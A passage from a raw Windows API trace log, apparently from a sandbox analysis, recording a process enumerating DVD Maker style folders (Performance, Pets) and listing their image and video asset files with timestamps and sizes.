lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.240] ResetEvent (hEvent=0x118) returned 1 [0240.241] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.256] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.256] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.256] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.257] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.257] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0240.257] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 0 [0240.257] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0240.260] GetProcessHeap () returned 0x560000 [0240.260] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0240.260] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0240.260] GetProcessHeap () returned 0x560000 [0240.261] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0240.261] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0240.263] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.264] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0240.265] ResetEvent (hEvent=0x118) returned 1 [0240.265] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.278] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0240.278] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0240.279] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0240.279] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0240.279] ResetEvent (hEvent=0x118) returned 1 [0240.280] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.298] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0240.298] ResetEvent (hEvent=0x118) returned 1 [0240.298] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.307] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0240.307] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0240.307] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0240.308] ResetEvent (hEvent=0x118) returned 1 [0240.308] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.311] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0240.312] ResetEvent (hEvent=0x118) returned 1 [0240.312] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.502] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0240.502] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0240.503] ResetEvent (hEvent=0x118) returned 1 [0240.503] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.506] ResetEvent (hEvent=0x118) returned 1 [0240.507] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.521] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0240.521] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0240.522] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0240.522] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0240.522] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0240.522] ResetEvent (hEvent=0x118) returned 1 [0240.523] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.526] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0240.526] ResetEvent (hEvent=0x118) returned 1 [0240.526] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.538] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0240.539] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0240.539] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0240.539] ResetEvent (hEvent=0x118) returned 1 [0240.539] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.549] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0240.549] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0240.549] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0240.550] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0240.550] ResetEvent (hEvent=0x118) returned 1 [0240.550] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0240.561] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0240.561] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0240.563] GetProcessHeap () returned 0x560000 [0240.563] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0240.564] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0240.564] GetProcessHeap () returned 0x560000 [0240.564] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0240.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0240.566] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.566] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0240.567] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0240.567] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, 